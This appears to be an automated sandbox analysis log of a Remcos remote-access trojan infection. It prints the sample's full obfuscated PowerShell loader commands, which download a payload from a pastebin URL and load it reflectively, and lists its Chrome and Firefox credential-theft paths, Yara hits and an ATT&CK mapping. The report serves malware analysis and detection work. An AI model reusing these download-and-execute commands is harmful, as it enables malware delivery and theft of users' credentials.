Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $iujujjzz = 'wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?hi?dgbp?gm?zqbq?g8?aqbu?hq?tqbh?g4?yqbn?gu?cgbd?do?ogbt?gu?ywb1?hi?aqb0?hk?u?by?g8?d?bv?gm?bwbs?c??pq?g?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?v?b5?h??zqbd?do?ogbu?gw?cw?x?di?ow?k?em?qwbs?gg?bq?g?d0?i??n?gg?d?b0?h??cw?6?c8?lwbw?ge?cwb0?gu?ygbp?g4?lgbj?g8?bq?v?hi?yqb3?c8?sg?2?hu?ugbq?fo?cgb2?cc?i??7?cq?zg?g?d0?i??o?fs?uwb5?hm?d?bl?g0?lgbj?e8?lgbq?ge?d?bo?f0?og?6?ec?zqb0?fq?zqbt?h??u?bh?hq?a??o?ck?i??r?c??jwbk?gw?b??w?de?lgb0?hg?d??n?ck?i??7?ek?bgb2?g8?awbl?c0?vwbl?gi?ugbl?he?dqbl?hm?d??g?c0?vqbs?ek?i??k?em?qwbs?gg?bq?g?c0?twb1?hq?rgbp?gw?zq?g?cq?zg?g?c0?vqbz?gu?qgbh?hm?aqbj?f??yqby?hm?aqbu?gc?i??7?gm?bqbk?c4?zqb4?gu?i??v?gm?i??7?h??aqbu?gc?i??x?di?nw?u?d??lg?w?c4?mq?g?ds?c?bv?hc?zqby?hm?a?bl?gw?b??u?gu?e?bl?c??lqbj?g8?bqbt?ge?bgbk?c??ew?k?gy?i??9?c??k?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??x?c4?d?b4?hq?jw?p?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?sqbu?hy?bwbr?gu?lqbx?gu?ygbs?gu?cqb1?gu?cwb0?c??lqbv?fi?sq?g?cq?uqbq?hq?yqb2?c??lqbp?hu?d?bg?gk?b?bl?c??j?bm?c??lqbv?hm?zqbc?ge?cwbp?gm?u?bh?hi?cwbp?g4?zwb9?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?j?bq?gq?ygbm?gs?i??9?c??jw?w?cc?i??7?cq?zqb2?g8?bqbu?c??pq?g?cc?jqbk?gs?uqbh?hm?r?bm?gc?cgbu?gc?jq?n?c??owbb?ei?eqb0?gu?wwbd?f0?i??k?gq?d?b2?gu?yg?g?d0?i?bb?hm?eqbz?hq?zqbt?c4?qwbv?g4?dgbl?hi?d?bd?do?ogbg?hi?bwbt?ei?yqbz?gu?ng?0?fm?d?by?gk?bgbn?cg?i??k?fe?u?b0?ge?dg?u?hi?zqbw?gw?yqbj?gu?k??n?cq?j??n?cw?jwbb?cc?kq?g?ck?i??7?fs?uwb5?hm?d?bl?g0?lgbb?h??c?be?g8?bqbh?gk?bgbd?do?ogbd?hu?cgby?gu?bgb0?eq?bwbt?ge?aqbu?c4?t?bv?ge?z??o?cq?z?b0?hy?zqbi?ck?lgbh?gu?d?bu?hk?c?bl?cg?jwbu?gu?a?b1?gw?ywbo?gu?cwby?hg?w?b4?hg?lgbd?gw?yqbz?hm?mq?n?ck?lgbh?gu?d?bn?gu?d?bo?g8?z??o?cc?tqbz?he?qgbj?gi?wq?n?ck?lgbj?g4?dgbv?gs?zq?o?cq?bgb1?gw?b??s?c??wwbv?gi?agbl?gm?d?bb?f0?xq?g?cg?jw?w?c8?zg?y?gs?cgbs?c8?z??v?gu?zq?u?gu?d?bz?ge?c??v?c8?ogbz?h??d?b0?gg?jw?g?cw?i??k?gu?dgbv?g0?bg?g?cw?i??n?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xw?t?c0?lq?t?c0?lq?t?cc?l??g?cq?agbk?gi?zgbr?cw?i??n?de?jw?s?c??jwbs?g8?z?bh?cc?i??p?ck?ow?=';$yolopolhggobek = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $iujujjzz.replace('?','a') ) );$yolopolhggobek = $yolopolhggobek.replace('%jkqasdfgrtg%', 'c:\users\user\desktop\asegurar.vbs');powershell $yolopolhggobek;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$ccrhm = 'https://pastebin.com/raw/j6urjzrv' ;$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;invoke-webrequest -uri $ccrhm -outfile $f -usebasicparsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;$qptav = ( get-content -path $f ) ;invoke-webrequest -uri $qptav -outfile $f -usebasicparsing} ;$qptav = ( get-content -path $f ) ;$jdbfk = '0' ;$evomn = 'c:\users\user\desktop\asegurar.vbs' ;[byte[]] $dtveb = [system.convert]::frombase64string( $qptav.replace('$$','a') ) ;[system.appdomain]::currentdomain.load($dtveb).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('0/f2krr/d/ee.etsap//:sptth' , $evomn , '____________________________________________-------', $jdbfk, '1', 'roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand jabmacaapqagacgawwbtahkacwb0aguabqauaekatwauafaayqb0aggaxqa6adoarwblahqavablag0acabqageadaboacgakqagacsaiaanagqababsadaamqauahqaeab0accakqagadsajabrafaadabhahyaiaa9acaakaagaecazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacqazgagackaiaa7aekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbsaekaiaakafeauab0ageadgagac0atwb1ahqargbpagwazqagacqazgagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagca -inputformat xml -outputformat text
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $iujujjzz = 'wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?hi?dgbp?gm?zqbq?g8?aqbu?hq?tqbh?g4?yqbn?gu?cgbd?do?ogbt?gu?ywb1?hi?aqb0?hk?u?by?g8?d?bv?gm?bwbs?c??pq?g?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?v?b5?h??zqbd?do?ogbu?gw?cw?x?di?ow?k?em?qwbs?gg?bq?g?d0?i??n?gg?d?b0?h??cw?6?c8?lwbw?ge?cwb0?gu?ygbp?g4?lgbj?g8?bq?v?hi?yqb3?c8?sg?2?hu?ugbq?fo?cgb2?cc?i??7?cq?zg?g?d0?i??o?fs?uwb5?hm?d?bl?g0?lgbj?e8?lgbq?ge?d?bo?f0?og?6?ec?zqb0?fq?zqbt?h??u?bh?hq?a??o?ck?i??r?c??jwbk?gw?b??w?de?lgb0?hg?d??n?ck?i??7?ek?bgb2?g8?awbl?c0?vwbl?gi?ugbl?he?dqbl?hm?d??g?c0?vqbs?ek?i??k?em?qwbs?gg?bq?g?c0?twb1?hq?rgbp?gw?zq?g?cq?zg?g?c0?vqbz?gu?qgbh?hm?aqbj?f??yqby?hm?aqbu?gc?i??7?gm?bqbk?c4?zqb4?gu?i??v?gm?i??7?h??aqbu?gc?i??x?di?nw?u?d??lg?w?c4?mq?g?ds?c?bv?hc?zqby?hm?a?bl?gw?b??u?gu?e?bl?c??lqbj?g8?bqbt?ge?bgbk?c??ew?k?gy?i??9?c??k?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??x?c4?d?b4?hq?jw?p?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?sqbu?hy?bwbr?gu?lqbx?gu?ygbs?gu?cqb1?gu?cwb0?c??lqbv?fi?sq?g?cq?uqbq?hq?yqb2?c??lqbp?hu?d?bg?gk?b?bl?c??j?bm?c??lqbv?hm?zqbc?ge?cwbp?gm?u?bh?hi?cwbp?g4?zwb9?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?j?bq?gq?ygbm?gs?i??9?c??jw?w?cc?i??7?cq?zqb2?g8?bqbu?c??pq?g?cc?jqbk?gs?uqbh?hm?r?bm?gc?cgbu?gc?jq?n?c??owbb?ei?eqb0?gu?wwbd?f0?i??k?gq?d?b2?gu?yg?g?d0?i?bb?hm?eqbz?hq?zqbt?c4?qwbv?g4?dgbl?hi?d?bd?do?ogbg?hi?bwbt?ei?yqbz?gu?ng?0?fm?d?by?gk?bgbn?cg?i??k?fe?u?b0?ge?dg?u?hi?zqbw?gw?yqbj?gu?k??n?cq?j??n?cw?jwbb?cc?kq?g?ck?i??7?fs?uwb5?hm?d?bl?g0?lgbb?h??c?be?g8?bqbh?gk?bgbd?do?ogbd?hu?cgby?gu?bgb0?eq?bwbt?ge?aqbu?c4?t?bv?ge?z??o?cq?z?b0?hy?zqbi?ck?lgbh?gu?d?bu?hk?c?bl?cg?jwbu?gu?a?b1?gw?ywbo?gu?cwby?hg?w?b4?hg?lgbd?gw?yqbz?hm?mq?n?ck?lgbh?gu?d?bn?gu?d?bo?g8?z??o?cc?tqbz?he?qgbj?gi?wq?n?ck?lgbj?g4?dgbv?gs?zq?o?cq?bgb1?gw?b??s?c??wwbv?gi?agbl?gm?d?bb?f0?xq?g?cg?jw?w?c8?zg?y?gs?cgbs?c8?z??v?gu?zq?u?gu?d?bz?ge?c??v?c8?ogbz?h??d?b0?gg?jw?g?cw?i??k?gu?dgbv?g0?bg?g?cw?i??n?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xw?t?c0?lq?t?c0?lq?t?cc?l??g?cq?agbk?gi?zgbr?cw?i??n?de?jw?s?c??jwbs?g8?z?bh?cc?i??p?ck?ow?=';$yolopolhggobek = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $iujujjzz.replace('?','a') ) );$yolopolhggobek = $yolopolhggobek.replace('%jkqasdfgrtg%', 'c:\users\user\desktop\asegurar.vbs');powershell $yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$ccrhm = 'https://pastebin.com/raw/j6urjzrv' ;$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;invoke-webrequest -uri $ccrhm -outfile $f -usebasicparsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;$qptav = ( get-content -path $f ) ;invoke-webrequest -uri $qptav -outfile $f -usebasicparsing} ;$qptav = ( get-content -path $f ) ;$jdbfk = '0' ;$evomn = 'c:\users\user\desktop\asegurar.vbs' ;[byte[]] $dtveb = [system.convert]::frombase64string( $qptav.replace('$$','a') ) ;[system.appdomain]::currentdomain.load($dtveb).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('0/f2krr/d/ee.etsap//:sptth' , $evomn , '____________________________________________-------', $jdbfk, '1', 'roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand jabmacaapqagacgawwbtahkacwb0aguabqauaekatwauafaayqb0aggaxqa6adoarwblahqavablag0acabqageadaboacgakqagacsaiaanagqababsadaamqauahqaeab0accakqagadsajabrafaadabhahyaiaa9acaakaagaecazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacqazgagackaiaa7aekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbsaekaiaakafeauab0ageadgagac0atwb1ahqargbpagwazqagacqazgagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagca -inputformat xml -outputformat text	Jump to behavior

Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJ0\001
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJ0\001Op
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerd
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJ0\GB
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJ0\
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerns.org:20014p
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managers\|
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJ0\001?ptK
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJ0\8
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, logs.dat.8.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00434CB6 cpuid

8_2_00434CB6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoA,	8_2_0040F90C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	8_2_0045201B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	8_2_004520B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_00452143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	8_2_00452393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	8_2_00448484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_004524BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	8_2_004525C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_00452690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: GetLocaleInfoW,	8_2_0044896D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	8_2_00451D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: EnumSystemLocalesW,	8_2_00451FD0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00404F51 GetLocalTime,CreateEventA,CreateThread,

8_2_00404F51

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0041B69E GetComputerNameExW,GetUserNameW,

8_2_0041B69E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0044942D _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

8_2_0044942D

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2961914920.0000000002C1E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

8_2_0040BA4D

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		8_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: \key3.db		8_2_0040BB6B

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-T0UVJ0

Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2961914920.0000000002C1E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: cmd.exe

8_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	1 Native API	121 Scripting	1 DLL Side-Loading	111 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	12 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	4 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	211 Input Capture	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	1 Defacement
